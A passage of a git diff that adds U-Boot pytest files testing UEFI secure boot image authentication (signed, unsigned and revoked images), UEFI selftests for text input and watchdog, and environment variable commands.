+        with u_boot_console.log.section('Test Case 1a'):
+            # Test Case 1a, with no Int CA and not authenticated by root CA
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 db_c.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO_a host 0:1 /helloworld.efi.signed_a -s ""',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO_a\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 1b'):
+            # Test Case 1b, signed and authenticated by root CA
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 2 HELLO_ab host 0:1 /helloworld.efi.signed_ab -s ""',
+                'efidebug boot next 2',
+                'bootefi bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+    def test_efi_signed_image_intca2(self, u_boot_console, efi_boot_env_intca):
+        """
+        Test Case 2 - authenticated by root CA in db
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env_intca
+        with u_boot_console.log.section('Test Case 2a'):
+            # Test Case 2a, unsigned and not authenticated by root CA
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO_abc host 0:1 /helloworld.efi.signed_abc -s ""',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO_abc\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 2b'):
+            # Test Case 2b, signed and authenticated by root CA
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db_b.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO_abc\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 2c'):
+            # Test Case 2c, signed and authenticated by root CA
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db_c.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+    def test_efi_signed_image_intca3(self, u_boot_console, efi_boot_env_intca):
+        """
+        Test Case 3 - revoked by dbx
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env_intca
+        with u_boot_console.log.section('Test Case 3a'):
+            # Test Case 3a, revoked by int CA in dbx
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 dbx_b.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+                'fatload host 0:1 4000000 db_c.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO_abc host 0:1 /helloworld.efi.signed_abc -s ""',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+            # Or,
+            # assert '\'HELLO_abc\' failed' in ''.join(output)
+            # assert 'efi_start_image() returned: 26' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 3b'):
+            # Test Case 3b, revoked by root CA in dbx
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 dbx_c.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO_abc\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
diff --git a/roms/u-boot/test/py/tests/test_efi_secboot/test_unsigned.py b/roms/u-boot/test/py/tests/test_efi_secboot/test_unsigned.py
new file mode 100644
index 000000000..df63f0df0
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_secboot/test_unsigned.py
@@ -0,0 +1,117 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2019, Linaro Limited
+# Author: AKASHI Takahiro 
+#
+# U-Boot UEFI: Signed Image Authentication Test
+
+"""
+This test verifies image authentication for unsigned images.
+"""
+
+import pytest
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_secure_boot')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.slow
+class TestEfiUnsignedImage(object):
+    def test_efi_unsigned_image_auth1(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 1 - rejected when not digest in db or dbx
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 1'):
+            # Test Case 1
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi -s ""',
+                'efidebug boot next 1',
+                'bootefi bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+            assert 'Hello, world!' not in ''.join(output)
+
+    def test_efi_unsigned_image_auth2(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 2 - authenticated by digest in db
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 2'):
+            # Test Case 2
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 db_hello.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi -s ""',
+                'efidebug boot next 1',
+                'bootefi bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+    def test_efi_unsigned_image_auth3(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 3 - rejected by digest in dbx
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 3a'):
+            # Test Case 3a, rejected by dbx
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 db_hello.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi -s ""',
+                'efidebug boot next 1',
+                'bootefi bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+            assert 'Hello, world!' not in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 3b'):
+            # Test Case 3b, rejected by dbx even if db allows
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db_hello.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi -s ""',
+                'efidebug boot next 1',
+                'bootefi bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+            assert 'Hello, world!' not in ''.join(output)
diff --git a/roms/u-boot/test/py/tests/test_efi_selftest.py b/roms/u-boot/test/py/tests/test_efi_selftest.py
new file mode 100644
index 000000000..63218efbc
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_selftest.py
@@ -0,0 +1,214 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2017, Heinrich Schuchardt 
+
+"""
+Test UEFI API implementation
+"""
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+def test_efi_selftest(u_boot_console):
+    """Run UEFI unit tests
+
+    :param u_boot_console: U-Boot console
+
+    This function executes all selftests that are not marked as on request.
+    """
+    u_boot_console.run_command(cmd='setenv efi_selftest')
+    u_boot_console.run_command(cmd='bootefi selftest', wait_for_prompt=False)
+    m = u_boot_console.p.expect(['Summary: 0 failures', 'Press any key'])
+    if m != 0:
+        raise Exception('Failures occurred during the EFI selftest')
+    u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+@pytest.mark.buildconfigspec('hush_parser')
+@pytest.mark.buildconfigspec('of_control')
+@pytest.mark.notbuildconfigspec('generate_acpi_table')
+def test_efi_selftest_device_tree(u_boot_console):
+    """Test the device tree support in the UEFI sub-system
+
+    :param u_boot_console: U-Boot console
+
+    This test executes the UEFI unit test by calling 'bootefi selftest'.
+    """
+    u_boot_console.run_command(cmd='setenv efi_selftest list')
+    output = u_boot_console.run_command('bootefi selftest')
+    assert '\'device tree\'' in output
+    u_boot_console.run_command(cmd='setenv efi_selftest device tree')
+    # Set serial# if it is not already set.
+    u_boot_console.run_command(cmd='setenv efi_test "${serial#}x"')
+    u_boot_console.run_command(cmd='test "${efi_test}" = x && setenv serial# 0')
+    u_boot_console.run_command(cmd='bootefi selftest ${fdtcontroladdr}', wait_for_prompt=False)
+    m = u_boot_console.p.expect(['serial-number:', 'U-Boot'])
+    if m != 0:
+        raise Exception('serial-number missing in device tree')
+    u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+def test_efi_selftest_watchdog_reboot(u_boot_console):
+    """Test the watchdog timer
+
+    :param u_boot_console: U-Boot console
+
+    This function executes the 'watchdog reboot' unit test.
+    """
+    u_boot_console.run_command(cmd='setenv efi_selftest list')
+    output = u_boot_console.run_command('bootefi selftest')
+    assert '\'watchdog reboot\'' in output
+    u_boot_console.run_command(cmd='setenv efi_selftest watchdog reboot')
+    u_boot_console.run_command(cmd='bootefi selftest', wait_for_prompt=False)
+    m = u_boot_console.p.expect(['resetting', 'U-Boot'])
+    if m != 0:
+        raise Exception('Reset failed in \'watchdog reboot\' test')
+    u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+def test_efi_selftest_text_input(u_boot_console):
+    """Test the EFI_SIMPLE_TEXT_INPUT_PROTOCOL
+
+    :param u_boot_console: U-Boot console
+
+    This function calls the text input EFI selftest.
+    """
+    u_boot_console.run_command(cmd='setenv efi_selftest text input')
+    output = u_boot_console.run_command(cmd='bootefi selftest',
+                                        wait_for_prompt=False)
+    m = u_boot_console.p.expect([r'To terminate type \'x\''])
+    if m != 0:
+        raise Exception('No prompt for \'text input\' test')
+    u_boot_console.drain_console()
+    u_boot_console.p.timeout = 500
+    # EOT
+    u_boot_console.run_command(cmd=chr(4), wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 4 \(unknown\), scan code 0 \(Null\)'])
+    if m != 0:
+        raise Exception('EOT failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # BS
+    u_boot_console.run_command(cmd=chr(8), wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 8 \(BS\), scan code 0 \(Null\)'])
+    if m != 0:
+        raise Exception('BS failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # TAB
+    u_boot_console.run_command(cmd=chr(9), wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 9 \(TAB\), scan code 0 \(Null\)'])
+    if m != 0:
+        raise Exception('BS failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # a
+    u_boot_console.run_command(cmd='a', wait_for_echo=False, send_nl=False,
+                               wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 97 \(\'a\'\), scan code 0 \(Null\)'])
+    if m != 0:
+        raise Exception('\'a\' failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # UP escape sequence
+    u_boot_console.run_command(cmd=chr(27) + '[A', wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 0 \(Null\), scan code 1 \(Up\)'])
+    if m != 0:
+        raise Exception('UP failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # Euro sign
+    u_boot_console.run_command(cmd=b'\xe2\x82\xac'.decode(), wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect([r'Unicode char 8364 \(\''])
+    if m != 0:
+        raise Exception('Euro sign failed in \'text input\' test')
+    u_boot_console.drain_console()
+    u_boot_console.run_command(cmd='x', wait_for_echo=False, send_nl=False,
+                               wait_for_prompt=False)
+    m = u_boot_console.p.expect(['Summary: 0 failures', 'Press any key'])
+    if m != 0:
+        raise Exception('Failures occurred during the EFI selftest')
+    u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+def test_efi_selftest_text_input_ex(u_boot_console):
+    """Test the EFI_SIMPLE_TEXT_INPUT_EX_PROTOCOL
+
+    :param u_boot_console: U-Boot console
+
+    This function calls the extended text input EFI selftest.
+    """
+    u_boot_console.run_command(cmd='setenv efi_selftest extended text input')
+    output = u_boot_console.run_command(cmd='bootefi selftest',
+                                        wait_for_prompt=False)
+    m = u_boot_console.p.expect([r'To terminate type \'CTRL\+x\''])
+    if m != 0:
+        raise Exception('No prompt for \'text input\' test')
+    u_boot_console.drain_console()
+    u_boot_console.p.timeout = 500
+    # EOT
+    u_boot_console.run_command(cmd=chr(4), wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 100 \(\'d\'\), scan code 0 \(CTRL\+Null\)'])
+    if m != 0:
+        raise Exception('EOT failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # BS
+    u_boot_console.run_command(cmd=chr(8), wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 8 \(BS\), scan code 0 \(\+Null\)'])
+    if m != 0:
+        raise Exception('BS failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # TAB
+    u_boot_console.run_command(cmd=chr(9), wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 9 \(TAB\), scan code 0 \(\+Null\)'])
+    if m != 0:
+        raise Exception('TAB failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # a
+    u_boot_console.run_command(cmd='a', wait_for_echo=False, send_nl=False,
+                               wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 97 \(\'a\'\), scan code 0 \(Null\)'])
+    if m != 0:
+        raise Exception('\'a\' failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # UP escape sequence
+    u_boot_console.run_command(cmd=chr(27) + '[A', wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 0 \(Null\), scan code 1 \(\+Up\)'])
+    if m != 0:
+        raise Exception('UP failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # Euro sign
+    u_boot_console.run_command(cmd=b'\xe2\x82\xac'.decode(), wait_for_echo=False,
+                               send_nl=False, wait_for_prompt=False)
+    m = u_boot_console.p.expect([r'Unicode char 8364 \(\''])
+    if m != 0:
+        raise Exception('Euro sign failed in \'text input\' test')
+    u_boot_console.drain_console()
+    # SHIFT+ALT+FN 5
+    u_boot_console.run_command(cmd=b'\x1b\x5b\x31\x35\x3b\x34\x7e'.decode(),
+                               wait_for_echo=False, send_nl=False,
+                               wait_for_prompt=False)
+    m = u_boot_console.p.expect(
+        [r'Unicode char 0 \(Null\), scan code 15 \(SHIFT\+ALT\+FN 5\)'])
+    if m != 0:
+        raise Exception('SHIFT+ALT+FN 5 failed in \'text input\' test')
+    u_boot_console.drain_console()
+    u_boot_console.run_command(cmd=chr(24), wait_for_echo=False, send_nl=False,
+                               wait_for_prompt=False)
+    m = u_boot_console.p.expect(['Summary: 0 failures', 'Press any key'])
+    if m != 0:
+        raise Exception('Failures occurred during the EFI selftest')
+    u_boot_console.restart_uboot()
diff --git a/roms/u-boot/test/py/tests/test_env.py b/roms/u-boot/test/py/tests/test_env.py
new file mode 100644
index 000000000..9bed2f48d
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_env.py
@@ -0,0 +1,517 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test operation of shell commands relating to environment variables.
+
+import os
+import os.path
+from subprocess import call, check_call, CalledProcessError
+
+import pytest
+import u_boot_utils
+
+# FIXME: This might be useful for other tests;
+# perhaps refactor it into ConsoleBase or some other state object?
+class StateTestEnv(object):
+    """Container that represents the state of all U-Boot environment variables.
+    This enables quick determination of existant/non-existant variable
+    names.
+    """
+
+    def __init__(self, u_boot_console):
+        """Initialize a new StateTestEnv object.
+
+        Args:
+            u_boot_console: A U-Boot console.
+
+        Returns:
+            Nothing.
+        """
+
+        self.u_boot_console = u_boot_console
+        self.get_env()
+        self.set_var = self.get_non_existent_var()
+
+    def get_env(self):
+        """Read all current environment variables from U-Boot.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        if self.u_boot_console.config.buildconfig.get(
+                'config_version_variable', 'n') == 'y':
+            with self.u_boot_console.disable_check('main_signon'):
+                response = self.u_boot_console.run_command('printenv')
+        else:
+            response = self.u_boot_console.run_command('printenv')
+        self.env = {}
+        for l in response.splitlines():
+            if not '=' in l:
+                continue
+            (var, value) = l.split('=', 1)
+            self.env[var] = value
+
+    def get_existent_var(self):
+        """Return the name of an environment variable that exists.
+
+        Args:
+            None.
+
+        Returns:
+            The name of an environment variable.
+        """
+
+        for var in self.env:
+            return var
+
+    def get_non_existent_var(self):
+        """Return the name of an environment variable that does not exist.
+
+        Args:
+            None.
+
+        Returns:
+            The name of an environment variable.
+        """
+
+        n = 0
+        while True:
+            var = 'test_env_' + str(n)
+            if var not in self.env:
+                return var
+            n += 1
+
+ste = None
+@pytest.fixture(scope='function')
+def state_test_env(u_boot_console):
+    """pytest fixture to provide a StateTestEnv object to tests."""
+
+    global ste
+    if not ste:
+        ste = StateTestEnv(u_boot_console)
+    return ste
+
+def unset_var(state_test_env, var):
+    """Unset an environment variable.
+
+    This both executes a U-Boot shell command and updates a StateTestEnv
+    object.
+
+    Args:
+        state_test_env: The StateTestEnv object to update.
+        var: The variable name to unset.
+
+    Returns:
+        Nothing.
+    """
+
+    state_test_env.u_boot_console.run_command('setenv %s' % var)
+    if var in state_test_env.env:
+        del state_test_env.env[var]
+
+def set_var(state_test_env, var, value):
+    """Set an environment variable.
+
+    This both executes a U-Boot shell command and updates a StateTestEnv
+    object.
+
+    Args:
+        state_test_env: The StateTestEnv object to update.
+        var: The variable name to set.
+        value: The value to set the variable to.
+
+    Returns:
+        Nothing.
+    """
+
+    bc = state_test_env.u_boot_console.config.buildconfig
+    if bc.get('config_hush_parser', None):
+        quote = '"'
+    else:
+        quote = ''
+        if ' ' in value:
+            pytest.skip('Space in variable value on non-Hush shell')
+
+    state_test_env.u_boot_console.run_command(
+        'setenv %s %s%s%s' % (var, quote, value, quote))
+    state_test_env.env[var] = value
+
+def validate_empty(state_test_env, var):
+    """Validate that a variable is not set, using U-Boot shell commands.
+
+    Args:
+        var: The variable name to test.
+
+    Returns:
+        Nothing.
+    """
+
+    response = state_test_env.u_boot_console.run_command('echo ${%s}' % var)
+    assert response == ''
+
+def validate_set(state_test_env, var, value):
+    """Validate that a variable is set, using U-Boot shell commands.
+
+    Args:
+        var: The variable name to test.
+        value: The value the variable is expected to have.
+
+    Returns:
+        Nothing.
+    """
+
+    # echo does not preserve leading, internal, or trailing whitespace in the
+    # value. printenv does, and hence allows more complete testing.
+    response = state_test_env.u_boot_console.run_command('printenv %s' % var)
+    assert response == ('%s=%s' % (var, value))
+
+def test_env_echo_exists(state_test_env):
+    """Test echoing a variable that exists."""
+
+    var = state_test_env.get_existent_var()
+    value = state_test_env.env[var]
+    validate_set(state_test_env, var, value)
+
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_env_echo_non_existent(state_test_env):
+    """Test echoing a variable that doesn't exist."""
+
+    var = state_test_env.set_var
+    validate_empty(state_test_env, var)
+
+def test_env_printenv_non_existent(state_test_env):
+    """Test printenv error message for non-existant variables."""
+
+    var = state_test_env.set_var
+    c = state_test_env.u_boot_console
+    with c.disable_check('error_notification'):
+        response = c.run_command('printenv %s' % var)
+    assert(response == '## Error: "%s" not defined' % var)
+
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_env_unset_non_existent(state_test_env):
+    """Test unsetting a nonexistent variable."""
+
+    var = state_test_env.get_non_existent_var()
+    unset_var(state_test_env, var)
+    validate_empty(state_test_env, var)
+
+def test_env_set_non_existent(state_test_env):
+    """Test set a non-existant variable."""
+
+    var = state_test_env.set_var
+    value = 'foo'
+    set_var(state_test_env, var, value)
+    validate_set(state_test_env, var, value)
+
+def test_env_set_existing(state_test_env):
+    """Test setting an existant variable."""
+
+    var = state_test_env.set_var
+    value = 'bar'
+    set_var(state_test_env, var, value)
+    validate_set(state_test_env, var, value)
+
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_env_unset_existing(state_test_env):
+    """Test unsetting a variable."""
+
+    var = state_test_env.set_var
+    unset_var(state_test_env, var)
+    validate_empty(state_test_env, var)
+
+def test_env_expansion_spaces(state_test_env):
+    """Test expanding a variable that contains a space in its value."""
+
+    var_space = None
+    var_test = None
+    try:
+        var_space = state_test_env.get_non_existent_var()
+        set_var(state_test_env, var_space, ' ')
+
+        var_test = state_test_env.get_non_existent_var()
+        value = ' 1${%(var_space)s}${%(var_space)s} 2 ' % locals()
+        set_var(state_test_env, var_test, value)
+        value = ' 1   2 '
+        validate_set(state_test_env, var_test, value)
+    finally:
+        if var_space:
+            unset_var(state_test_env, var_space)
+        if var_test:
+            unset_var(state_test_env, var_test)
+
+@pytest.mark.buildconfigspec('cmd_importenv')
+def test_env_import_checksum_no_size(state_test_env):
+    """Test that omitted ('-') size parameter with checksum validation fails the
+       env import function.
+    """
+    c = state_test_env.u_boot_console
+    ram_base = u_boot_utils.find_ram_base(state_test_env.u_boot_console)
+    addr = '%08x' % ram_base
+
+    with c.disable_check('error_notification'):
+        response = c.run_command('env import -c %s -' % addr)
+    assert(response == '## Error: external checksum format must pass size')
+
+@pytest.mark.buildconfigspec('cmd_importenv')
+def test_env_import_whitelist_checksum_no_size(state_test_env):
+    """Test that omitted ('-') size parameter with checksum validation fails the
+       env import function when variables are passed as parameters.
+    """
+    c = state_test_env.u_boot_console
+    ram_base = u_boot_utils.find_ram_base(state_test_env.u_boot_console)
+    addr = '%08x' % ram_base
+
+    with c.disable_check('error_notification'):
+        response = c.run_command('env import -c %s - foo1 foo2 foo4' % addr)
+    assert(response == '## Error: external checksum format must pass size')
+
+@pytest.mark.buildconfigspec('cmd_exportenv')
+@pytest.mark.buildconfigspec('cmd_importenv')
+def test_env_import_whitelist(state_test_env):
+    """Test importing only a handful of env variables from an environment."""
+    c = state_test_env.u_boot_console
+    ram_base = u_boot_utils.find_ram_base(state_test_env.u_boot_console)
+    addr = '%08x' % ram_base
+
+    set_var(state_test_env, 'foo1', 'bar1')
+    set_var(state_test_env, 'foo2', 'bar2')
+    set_var(state_test_env, 'foo3', 'bar3')
+
+    c.run_command('env export %s' % addr)
+
+    unset_var(state_test_env, 'foo1')
+    set_var(state_test_env, 'foo2', 'test2')
+    set_var(state_test_env, 'foo4', 'bar4')
+
+    # no foo1 in current env, foo2 overridden, foo3 should be of the value
+    # before exporting and foo4 should be of the value before importing.
+    c.run_command('env import %s - foo1 foo2 foo4' % addr)
+
+    validate_set(state_test_env, 'foo1', 'bar1')
+    validate_set(state_test_env, 'foo2', 'bar2')
+    validate_set(state_test_env, 'foo3', 'bar3')
+    validate_set(state_test_env, 'foo4', 'bar4')
+
+    # Cleanup test environment
+    unset_var(state_test_env, 'foo1')
+    unset_var(state_test_env, 'foo2')
+    unset_var(state_test_env, 'foo3')
+    unset_var(state_test_env, 'foo4')
+
+@pytest.mark.buildconfigspec('cmd_exportenv')
+@pytest.mark.buildconfigspec('cmd_importenv')
+def test_env_import_whitelist_delete(state_test_env):
+
+    """Test importing only a handful of env variables from an environment, with.
+       deletion if a var A that is passed to env import is not in the
+       environment to be imported.
+    """
+    c = state_test_env.u_boot_console
+    ram_base = u_boot_utils.find_ram_base(state_test_env.u_boot_console)
+    addr = '%08x' % ram_base
+
+    set_var(state_test_env, 'foo1', 'bar1')
+    set_var(state_test_env, 'foo2', 'bar2')
+    set_var(state_test_env, 'foo3', 'bar3')
+
+    c.run_command('env export %s' % addr)
+
+    unset_var(state_test_env, 'foo1')
+    set_var(state_test_env, 'foo2', 'test2')
+    set_var(state_test_env, 'foo4', 'bar4')
+
+    # no foo1 in current env, foo2 overridden, foo3 should be of the value
+    # before exporting and foo4 should be empty.
+    c.run_command('env import -d %s - foo1 foo2 foo4' % addr)
+
+    validate_set(state_test_env, 'foo1', 'bar1')
+    validate_set(state_test_env, 'foo2', 'bar2')
+    validate_set(state_test_env, 'foo3', 'bar3')
+    validate_empty(state_test_env, 'foo4')
+
+    # Cleanup test environment
+    unset_var(state_test_env, 'foo1')
+    unset_var(state_test_env, 'foo2')
+    unset_var(state_test_env, 'foo3')
+    unset_var(state_test_env, 'foo4')
+
+@pytest.mark.buildconfigspec('cmd_nvedit_info')
+def test_env_info(state_test_env):
+
+    """Test 'env info' command with all possible options.
+    """
+    c = state_test_env.u_boot_console
+
+    response = c.run_command('env info')
+    nb_line = 0
+    for l in response.split('\n'):
+        if 'env_valid = ' in l:
+            assert '= invalid' in l or '= valid' in l or '= redundant' in l
+            nb_line += 1
+        elif 'env_ready =' in l or 'env_use_default =' in l:
+            assert '= true' in l or '= false' in l
+            nb_line += 1
+        else:
+            assert true
+    assert nb_line == 3
+
+    response = c.run_command('env info -p -d')
+    assert 'Default environment is used' in response or "Environment was loaded from persistent storage" in response
+    assert 'Environment can be persisted' in response or "Environment cannot be persisted" in response
+
+    response = c.run_command('env info -p -d -q')
+    assert response == ""
+
+    response = c.run_command('env info -p -q')
+    assert response == ""
+
+    response = c.run_command('env info -d -q')
+    assert response == ""
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_nvedit_info')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_env_info_sandbox(state_test_env):
+    """Test 'env info' command result with several options on sandbox
+       with a known ENV configuration: ready & default & persistent
+    """
+    c = state_test_env.u_boot_console
+
+    response = c.run_command('env info')
+    assert 'env_ready = true' in response
+    assert 'env_use_default = true' in response
+
+    response = c.run_command('env info -p -d')
+    assert 'Default environment is used' in response
+    assert 'Environment cannot be persisted' in response
+
+    response = c.run_command('env info -d -q')
+    response = c.run_command('echo $?')
+    assert response == "0"
+
+    response = c.run_command('env info -p -q')
+    response = c.run_command('echo $?')
+    assert response == "1"
+
+    response = c.run_command('env info -d -p -q')
+    response = c.run_command('echo $?')
+    assert response == "1"
+
+def mk_env_ext4(state_test_env):
+
+    """Create a empty ext4 file system volume."""
+    c = state_test_env.u_boot_console
+    filename = 'env.ext4.img'
+    persistent = c.config.persistent_data_dir + '/' + filename
+    fs_img = c.config.result_dir  + '/' + filename
+
+    if os.path.exists(persistent):
+        c.log.action('Disk image file ' + persistent + ' already exists')
+    else:
+        # Some distributions do not add /sbin to the default PATH, where mkfs.ext4 lives
+        os.environ["PATH"] += os.pathsep + '/sbin'
+        try:
